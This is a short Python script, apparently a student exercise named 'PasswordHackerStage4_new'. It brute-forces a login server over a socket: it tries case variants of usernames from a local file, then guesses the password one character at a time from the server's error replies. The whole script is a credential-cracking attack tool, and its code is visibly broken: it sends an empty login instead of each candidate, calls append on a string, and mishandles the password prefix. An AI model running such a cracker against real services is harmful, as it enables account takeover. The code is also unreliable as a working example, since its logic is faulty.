PasswordHackerStage4_new

import sys
import socket
import itertools
import json
import string


def get_name_variants():
    name_vars = []
    with open(r"C:\Users\linyu\Downloads\logins.txt", 'r', encoding='utf-8') as f:
        names = f.read().strip('\n').splitlines()
        # print(names)
        for name in names:
            _vars = map("".join, itertools.product(*zip(name.upper(), name.lower())))
            for _var in _vars:
                name_vars.append(_var)
        # print(name_vars) correct variants
        return name_vars


def get_server_response(json_msg):
    args = sys.argv
    with socket.socket() as client_socket:
        ip = args[1]
        port = int(args[2])
        address = (ip, port)
        client_socket.connect(address)
        client_socket.send(json_msg.encode())
        return client_socket.recv(1024).decode()  # returns json


def get_name():
    lis = get_name_variants()
    for i in lis:
        x = json.loads(get_server_response(json.dumps({"login": "", "password": ""})))
        if x["result"] == 'Wrong password!' or x["result"] == 'Exception happened during login':
            print(f"log in name is {i}")
            return i


def get_pw():
    global login
    login = get_name()
    symbols = string.printable
    password = ""
    while True:
        for i in symbols:
            password.append(i)
            reply = get_server_response(json.dumps({"login": f"{login}", "password": f"{i}"}))
            reply = json.loads(reply)
            if reply["result"] == "Connection success!":
                return password
            elif reply["result"] == "Wrong password!":
                password = password[:-1]
            elif reply["result"] == "Exception happened during login":
                break


login = ""
print(json.dumps({"login": f"{login}", "password": f"{get_pw()}"}))